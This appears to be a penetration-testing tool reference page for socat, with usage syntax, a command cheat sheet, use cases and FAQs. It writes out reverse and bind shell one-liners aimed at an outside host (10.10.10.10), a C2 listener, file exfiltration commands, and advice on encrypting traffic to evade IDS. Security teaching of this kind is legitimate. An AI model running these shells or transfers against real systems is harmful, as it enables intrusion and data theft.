Maintaining Access
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.
sudo apt install socat
socat [options] <address1> <address2>
Socat (SOcket CAT) is a powerful command-line utility that establishes two bidirectional byte streams and transfers data between them. It acts as a multipurpose relay tool, capable of connecting virtually any two data endpoints together.
Socat supports a vast array of address types including TCP, UDP, SCTP, UNIX domain sockets, pipes, files, SSL/TLS, and PTY devices. This makes it invaluable for penetration testers who need to create reverse shells, forward ports through firewalls, or tunnel traffic over encrypted channels.
Unlike simpler tools like Netcat, Socat provides advanced features such as SSL encryption, data manipulation, forking for multiple connections, and complex address chaining. It is an essential tool in every security professional's arsenal for network relay and post-exploitation pivoting.
socat -VPrint the socat version and the features compiled in (OpenSSL, readline, etc.).socat -hhhShow the full help including every supported address type and option.socat - TCP:10.10.10.10:4444Connect to a TCP port and bridge it to STDIO, working like a netcat client.socat - TCP-LISTEN:4444,reuseaddrListen on a TCP port and bridge to STDIO, working like a netcat listener.socat -v TCP-LISTEN:8080,fork TCP:example.com:80Relay traffic to a remote service while printing all transferred data to stderr.socat -x -v TCP-LISTEN:8080,fork TCP:example.com:80Same relay but dump the data as hex for protocol inspection.socat -d -d TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80Run a forwarding relay with verbose diagnostic logging (two -d for more detail).socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bashOpen a bind shell that spawns /bin/bash for each incoming TCP connection.socat TCP:10.10.10.10:4444 EXEC:/bin/bashConnect back to a listener and pipe a bash process to it (reverse shell).socat file:`tty`,raw,echo=0 TCP-LISTEN:4444Attacker-side listener that provides a fully interactive TTY for the incoming shell.socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,saneVictim-side reverse shell that allocates a PTY for a fully interactive session.socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80Forward a local TCP port to a remote host and port (pivot/port forward).socat UDP-LISTEN:53,reuseaddr,fork UDP:10.10.10.10:53Relay UDP datagrams (e.g. DNS) between a local port and a remote server.socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sockExpose a local UNIX domain socket (such as the Docker API socket) over TCP.socat UNIX-LISTEN:/tmp/mysql.sock,fork TCP:10.10.10.10:3306Present a remote TCP service as a local UNIX socket for legacy clients.Establish reverse shell connections from compromised targets back to your listener.
Forward TCP/UDP ports through firewalls and NAT boundaries for internal access.
Wrap plaintext connections in SSL/TLS to evade detection and IDS systems.
Bidirectional relay between different protocols such as TCP to UNIX sockets or files.
Create fully interactive TTY shells with proper terminal handling for post-exploitation.
Transfer files between systems by connecting file descriptors to network sockets.
Socat uses the format: socat [options] <address1> <address2>. Address types include TCP:<host>:<port>, TCP-LISTEN:<port>, UDP:<host>:<port>, OPENSSL:<host>:<port>, EXEC:<program>, FILE:<path>, and UNIX-CONNECT:<socket>. Common options include -d for debug, -v for verbose, -u for unidirectional, and fork for multiple connections.
SSH tunneling requires a running SSH server and client keys. Socat can create port forwards without any pre-existing infrastructure. SSH provides strong authentication and encryption by default, while socat offers more address types and protocol translation. Use SSH for authenticated tunnels, socat for lightweight or stealthy forwarding.
Yes, socat can function as a C2 listener. Use socat TCP-LISTEN:<port>,fork,reuseaddr EXEC:/bin/bash for a basic listener, or wrap it with OPENSSL-LISTEN for encrypted communication. The fork option allows handling multiple agent connections. Combine with logging options like -v or -d for traffic monitoring.
Socat can pivot traffic by forwarding ports between network segments. Example: socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80 forwards traffic through a compromised host. Chain multiple socat instances or use the SOCKS4A address to route through proxies. The range= option restricts access to specific source IP ranges.
Socat supports address chaining by connecting multiple address types in a single command. For example, socat TCP-LISTEN:4444,fork OPENSSL:10.10.10.10:4444 chains a TCP listener to an SSL connection. You can also use -u for one-way transfers and combine file operations with network sockets for complex data flows.
Yes, socat can transfer files using unidirectional mode. Send: socat -u FILE:target.txt TCP:10.10.10.10:4444. Receive: socat -u TCP-LISTEN:4444,reuseaddr OPEN:received.dat,creat. Add retry= and interval= options for unreliable networks. For bidirectional file sharing, use standard socat without the -u flag.
Maintaining Access
Simple networking utility for TCP/UDP connections and basic port scanning.
Maintaining Access
Nmap's enhanced Netcat with SSL and connection brokering features.
Maintaining Access
Fast TCP/UDP tunnel over HTTP with SSH encryption for firewall bypass.
Maintaining Access
TUN interface-based tunneling tool for easy network pivoting.
Maintaining Access
Force any app's TCP traffic through proxy chains for anonymization.
Sniffing & Spoofing
Deep packet inspection and protocol analysis for traffic verification.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.